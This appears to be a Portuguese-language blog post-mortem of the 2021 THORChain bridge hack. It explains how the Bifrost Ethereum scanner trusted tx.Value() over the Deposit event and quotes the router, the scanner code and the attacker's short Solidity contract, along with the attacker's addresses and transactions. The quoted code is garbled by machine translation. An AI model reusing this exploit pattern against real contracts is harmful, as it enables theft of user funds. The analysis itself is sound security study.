Endereços relacionados a este ataque:

  • Explorador THORChain 2: 0x3a196410a0f5facd08fd7880a4b8551cd085c031

  • Contrato de explorador THORChain: 0x4a33862042d004d3fc45e284e1aafa05b48e3c9c

  • Roteador THORChain (vítima): 0xC145990E84155416144C532E31f89B840Ca8c2cE

A princípio, eu pretendia consultar o artigo em https://rekt.news/thorchain-rekt/ mas percebi que eles estavam citando as evidências erradas e o artigo era bastante incompleto, então decidi descobrir por mim mesmo.

Arquitetura da ponte de Thorchain

No universo das criptomoedas existem muitas cadeias, em cada cadeia existem inúmeros tipos diferentes de moedas. Desde o início dos tempos, as pessoas sonham em mover moedas de uma cadeia para outra facilmente.

Muitas pontes nasceram com a tarefa de conectar cadeias, como Anyswap, Binance Bridge, .. a maioria dessas pontes são construídas de acordo com a arquitetura de bloqueio de liquidez em ambas as extremidades. Os validadores terão a tarefa de ouvir eventos ou lidar com bloqueios de transações na cadeia de origem e desbloqueia na cadeia de destino. Eles operam de forma quase instantânea de bloqueio e desbloqueio, sem outras transações de derivativos nos Validadores.

O que há de especial na arquitetura da Ponte de Thorchain?

image.png

Como o nome Thorchain sugere, esta ponte é na verdade uma cadeia construída a partir do Cosmos-sdk. Cosmos-sdk é tão famoso no universo das criptomoedas, com a vantagem de definir facilmente cadeias, moedas na cadeia e lógica de transação de moedas, que contou com a confiança da gigante Binance para construir a exchange. E foi o Cosmos-sdk que lançou as bases para a ideologia IBC (Inter Blockchain Communication), que pode ser considerada a primeira cross-chain.

Percebendo isso, Thor escolheu o Cosmos-sdk como material principal para sua Bridge.

No Thorchain, os nós são livres para participar da cadeia, colocando uma certa quantia de depósito, que será devolvida quando o nó sair. Os nós serão responsáveis ​​por ouvir blocos de cadeias externas (atualmente incluindo Ethereum, Binance Smart Chain, Bitcoin, BitcoinCash, DogeCoin, LiteCoin) e então processá-los, salvando as informações obtidas dos blocos em Thorchain (camada Bifrost), é fácil. para ver se os nós em Thorchain concordarão entre si usando o próprio IBC do Cosmos-sdk.

No Thorchain, a moeda nativa é RUNE, que é usada para calcular taxas de transação de swap, bem como gás.

Então, como os usuários participarão do Thorchain?

Por exemplo, se um usuário no Ethereum quiser depositar dinheiro no Thorchain, ele chamará através da interface do Thorchain a função deposit() no contrato inteligente THORChain_Router que Thor implantou.

// Deposite um ativo com um memorando. ETH é encaminhado, ERC-20 permanece na função ROUTER deposit(endereço a pagar cofre, endereço ativo, valor uint, memorando de memória de string) public pagável nonReentrant{ uint safeAmount; if(asset == endereço(0)){ safeAmount = msg.value; (bool sucesso,) = vault.call{value:safeAmount}(""); exigir (sucesso); } else if(asset == RUNE) { safeAmount = quantidade; iRUNE(RUNE).transferTo(endereço(este), valor); iERC20(RUNE).burn(quantidade); } else { safeAmount = safeTransferFrom(ativo, valor); // Transferir ativos vaultAllowance[vault][asset] += safeAmount; // Crédito no cofre escolhido } emit Deposit(vault, asset, safeAmount, memo); }

Aqui estão os parâmetros:

  • cofre: é um endereço de carteira na lista de endereços que permitem aos usuários depositar dinheiro. De acordo com a documentação do Thorchain, com 100 nós haverá cerca de 3 Vaults usados ​​para depósitos, enquanto o Vault para retirada dos usuários terá 100 Vaults, ou seja, cada nó terá seu próprio Vault para retirada.

  • ativo: endereço da moeda, se a moeda for ETH então este valor é endereço(0).

  • quantidade: quantidade

  • memorando: terá o formato SWAP:ETH.ETH:RECEIVER_ADDRESS ou SWAP:ETH.DAI-DAI_ADDRESS:RECEIVER_ADDRESS,... Este memorando tem como objetivo mostrar que o objetivo do usuário é trocar qual moeda para qual moeda e o endereço de recebimento é Qual endereço em qual cadeia?

Os nós Thorchain ouvirão continuamente os blocos no Ethereum e processarão as transações neles. O nó determinará o tipo de transação com base no meme na transação deposit(), pode ser adicionar Liquidez ou swap (pode trocar com cadeia ou crosschain), então Thorchain criou 2 tipos de usuários:

  • Provedor de liquidez: este usuário fornecerá liquidez ao pool e receberá taxas de transações de swap, as informações desses pools são salvas no Thorchain

  • Usuários regulares: realizam a troca e perdem a taxa, eles chamam a função de depósito com o memorando correspondente no contrato inteligente, os nós processarão e validarão a transação e salvarão as informações no Thorchain, depois chamarão a função transferOut() para enviar o token de saída para o endereço do destinatário na cadeia correspondente.

Função TransferOut:

// Qualquer chamada do vault para transferir qualquer ativo para qualquer destinatário. function transferOut (endereço a pagar, endereço ativo, valor uint, memorando de memória de string) public payable nonReentrant { uint safeAmount; bool sucesso; if(asset == endereço(0)){ safeAmount = msg.value; (sucesso,) = to.call{value:msg.value}(""); // Envia ETH } else { vaultAllowance[msg.sender][asset] -= valor; // Reduzir subsídio (sucesso,) = asset.call(abi.encodeWithSignature("transfer(address,uint256)" , to, amount)); valorseguro = valor; } exigir(sucesso); emitir TransferOut(msg.sender, to, asset, safeAmount, memo); }

Onde está o buraco?

A resposta é que ela está na camada Bifrost do nó, mais especificamente no módulo Ethereum Block Scanner do nó.

Ok, agora rastrearemos os commits de Thorchain no gitlab em seu repositório thornode .

Eles têm um commit definido como Resolver "[BUG] Corrigir ataque em cadeia de ETH" com hash de eab0715650919a1f1ba525011423e71b53ffb27b, então vamos nos concentrar neste commit, especialmente no arquivo bifrost/pkg/chainclients/ethereum/ethereum_block_scanner.go.

Vemos que eles fizeram algumas mudanças importantes na função getTxInFromSmartContract() em torno da linha 854 até https://gitlab.com/thorchain/thornode/-/commit/eab0715650919a1f1ba525011423e71b53ffb27#4e8376fdec8edf86c2833023ec44a12c148cb_854_854, a vulnerabilidade provavelmente está localizada aqui.

Vejamos o código desta função antes de o commit Resolve "[BUG] Corrigir ataque em cadeia ETH" ser mesclado.

// getTxInFromSmartContract retorna txInItem func (e ETHScanner) getTxInFromSmartContract(tx etypes.Transaction, recibo etypes.Receipt) (stypes.TxInItem, error) { e.logger.Debug().Msg("analisar tx do contrato inteligente") txInItem : = &stypes.TxInItem{ Tx: tx.Hash().Hex()[2:], } remetente, err := e.eipSigner.Sender(tx) if err != nil { return nil, fmt.Errorf("falha para obter o remetente: %w", err) } txInItem.Sender = strings.ToLower(sender.String()) // 1 é o estado de sucesso da transação se recibo.Status != 1 { e.logger.Info().Msgf( "estado tx(%s): %d significa falha, ignore", tx.Hash().String(), recibo.Status) return nil, nil } for , item := intervalo recibo.Logs { switch item.Topics[ 0].String() { case depositEvent: depositEvt, err := e.parseDeposit(*item) if err != nil { return nil, fmt.Errorf("falha ao analisar evento de depósito: %w", err) } e .logger.Info().Msgf("depósito:%+v", depositEvt) txInItem.To = depositEvt.To.String() txInItem.Memo = depositEvt.Memo ativo, err := e.getAssetFromTokenAddress(depositEvt.Asset. String()) if err != nil { return nil, fmt.Errorf("falha ao obter ativo do endereço do token: %w", err) } if asset.IsEmpty() { return nil, nil } decimais:= e. getTokenDecimalsForTHORChain(depositEvt.Asset.String()) e.logger.Info().Msgf("token:%s,decimais:%d", depositEvt.Asset, decimais) txInItem.Coins = anexar(txInItem.Coins, comum. NewCoin(ativo, e.convertAmount(depositEvt.Asset.String(), depositEvt.Amount)).WithDecimals(decimais)) case transferOutEvent: transferOutEvt, err := e.parseTransferOut(*item) if err != nil { return nil , fmt.Errorf("falha ao analisar evento de transferência de saída: %w", err) } e.logger.Info().Msgf("transferência de saída: %+v", transferOutEvt) txInItem.Sender = transferOutEvt.Vault.String () txInItem.To = transferOutEvt.To.String() txInItem.Memo = transferOutEvt.Memo ativo, err := e.getAssetFromTokenAddress(transferOutEvt.Asset.String()) if err != nil { return nil, fmt.Errorf( "falha ao obter ativo do endereço do token: %w", err) } if asset.IsEmpty() { return nil, nil } decimais:= e.getTokenDecimalsForTHORChain(transferOutEvt.Asset.String()) txInItem.Coins = anexar(txInItem.Coins, common.NewCoin(ativo, e.convertAmount(transferOutEvt.Asset.String(), transferOutEvt.Amount)).WithDecimals(decimais)) caso transferAllowanceEvent: transferAllowanceEvt, err := e.parseTransferAllowanceEvent(*item) if err != nil { return nil, fmt.Errorf("falha ao analisar evento de subsídio de transferência: %w", err) } e.logger.Info().Msgf("transferência subsídio:% + v", transferAllowanceEvt) txInItem.Sender = transferAllowanceEvt.OldVault.String() txInItem.To = transferAllowanceEvt.NewVault.String() txInItem.Memo = transferAllowanceEvt.Memo ativo, err := e.getAssetFromTokenAddress(transferAllowanceEvt.Asset .String()) if err != nil { return nil, fmt.Errorf("falha ao obter ativo do endereço do token: %w", err) } if asset.IsEmpty() { return nil, nil } decimais:= e .getTokenDecimalsForTHORChain(transferAllowanceEvt.Asset.String()) txInItem.Coins = anexar(txInItem.Coins, common.NewCoin(ativo, e.convertAmount(transferAllowanceEvt.Asset.String(), transferAllowanceEvt.Amount)).WithDecimals(decimais)) case vaultTransferEvent: transferEvent, err := e.parseVaultTransfer(*item) if err != nil { return nil, fmt.Errorf("falha ao analisar o evento de transferência do vault: %w", err) } e.logger.Info() .Msgf("transferência do cofre: %+v", transferEvent) txInItem.Sender = transferEvent.OldVault.String() txInItem.To = transferEvent.NewVault.String() txInItem.Memo = transferEvent.Memo para, item:= intervalo transferEvent .Coins { ativo, err := e.getAssetFromTokenAddress(item.Asset.String()) if err != nil { return nil, fmt.Errorf("falha ao obter ativo do endereço do token: %w", err) } if asset.IsEmpty() { return nil, nil } decimais:= e.getTokenDecimalsForTHORChain(item.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(item.Asset. String(), item.Amount)).WithDecimals(decimals)) } } } // é importante manter esta parte fora do loop acima, como quando fazemos upgrade do roteador, que pode gerar múltiplos eventos de depósito, junto com tx que tem o valor eth ethValue: = cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero () { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } } e.logger.Info().Msgf("tx: %s, preço do gás: %s, gás usado : %d,recipt status:%d", txInItem.Tx, tx.GasPrice().String(), recibo.GasUsed, recibo.Status) // sob nenhuma circunstância o preço do gás ETH será inferior a 1 Gwei, a menos que está no ambiente de desenvolvimento txGasPrice := tx.GasPrice() if txGasPrice.Cmp(big.NewInt(tenGwei)) < 0 { txGasPrice = big.NewInt(tenGwei) } txInItem.Gas = common.MakeETHGas(txGasPrice, recibo.GasUsed) if txInItem.Coins.IsEmpty() { e.logger.Debug().Msgf("não há moeda neste tx, ignore, %+v", txInItem) return nulo, nil } e.logger.Debug(). Msgf("tx no item: %+v", txInItem) return txInItem, nil }

Esta função é responsável por verificar se o txn foi bem-sucedido ou não. Em caso afirmativo, ela processará os eventos emitidos daquele txn para saber de qual moeda o usuário deseja trocar para qual moeda (pode ser a mesma cadeia ou uma cadeia diferente). ) a saída desta função será salva pelo nó e transmitida para Thorchain, então os nós enviarão moedas para o endereço de recebimento para considerar a conclusão da troca.

Observação no caso depositEvent: este é o caso tratado quando o nó do evento é o evento Deposit(endereço indexado, endereço indexado ativo, valor uint, memorando de string) do ​​contrato THORChain_Router . Ele determinará a moeda de entrada, quantidade, memorando e, com base no memorando, determinará a moeda de saída, o endereço de recebimento desejado pelo usuário.

Saindo do loop for, possui um identificador dedicado ao depósito de moeda nativa ETH:

// é importante manter esta parte fora do loop acima, como quando fazemos o upgrade do roteador, que pode gerar vários eventos de depósito, junto com tx que contém o valor eth ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = anexar (txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } }

Essa é a falha, embora acima as informações de moeda e quantidade tenham sido obtidas a partir da análise do evento Depósito , aqui continuamos a analisar tx.Value(), o que criou a possibilidade de anular as informações obtidas anteriormente.

Os hackers perceberam isso e criaram um contrato inteligente para atacar, a lógica é muito simples, envolve THORChain_Router da seguinte forma:

// SPDX-License-Identifier: solidez do pragma NÃO LICENCIADO 0.8.3; interface IRouter { função depósito (endereço a pagar cofre, endereço ativo, valor uint256, string memo de memória) externo a pagar; } contrato Ataque { função ataque (endereço roteador, endereço cofre a pagar, string memorando de memória) externo a pagar { IRouter (roteador).deposit{valor: 0}(cofre, endereço (0), 0, memorando); a pagar(msg.remetente).transferência(msg.valor); } }

Por exemplo, o Hacker chamará a função de ataque com um determinado cofre válido de Thorchain, o memorando poderia ser "SWAP:ETH.ETH" e msg.value é 100 ETH, depois de chamar 100 ETH ainda é dele, mas dentro do ataque ele chamou de depósito( ) de THORChain_Router.

Combinando esse contrato inteligente com a função getTxInFromSmartContract() do nó acima, o hacker facilmente enganou o nó fazendo-o pensar que queria trocar 100 ETH por uma determinada moeda, mesmo que ele não tenha depositado nenhum ETH.

Aqui está o histórico de txn do hacker no Etherescan https://etherscan.io/txsInternal?a=0x3a196410a0f5facd08fd7880a4b8551cd085c031&p=1

Veja, por exemplo, este txn https://etherscan.io/tx/0x32933c28281489256949842b9f4c9f85a6e557553dce2aee35f2f52110cfc0c9 (bloco 12833255). O hacker atacou com 100ETH, junto com o cofre 0xf56cba49337a624e94042e325ad6bc864436e370, memorando "SWAP:ETH.ETH".

image.pngPodemos ver facilmente o evento emitido por THORChain_Router:image.png

Embora o valor do evento Deposit seja 0, tx.Value() é 100.265 ETH. Portanto o nó pensou que alguém queria trocar 100 ETH por 100 ETH =))).

É isso, o hacker só precisa esperar 100ETH chegar em sua carteira, a transação que o nó transferOut() 100 ETH para o hacker está aqui é https://etherscan.io/tx/0x2fcc2757de57d1e954d0e0a5188bcb348d02ee596d1f55be7fa44e94fd27b6c6image.png

Os hackers repetiram isso muitas vezes para roubar ETH e outros tokens ERC20 do pool, com um valor estimado em cerca de 5 milhões de dólares.

Atualmente, Thor corrigiu seu Thorchain, mas a troca está sendo pausada para verificar outras possíveis vulnerabilidades.

resumo

Defi é sempre um terreno fértil para startups e também para hackers, quanto mais modelos nascem também significa que mais vulnerabilidades podem aparecer, causando perdas de até milhões de dólares. Mas qualquer coisa antes de atingir a perfeição deve passar por muita dor, superá-la significa que a tecnologia está cada vez melhor.

O artigo é de 2021 mas as lições continuam válidas, obrigado @trinhvantan por postar artigos valiosos para a comunidade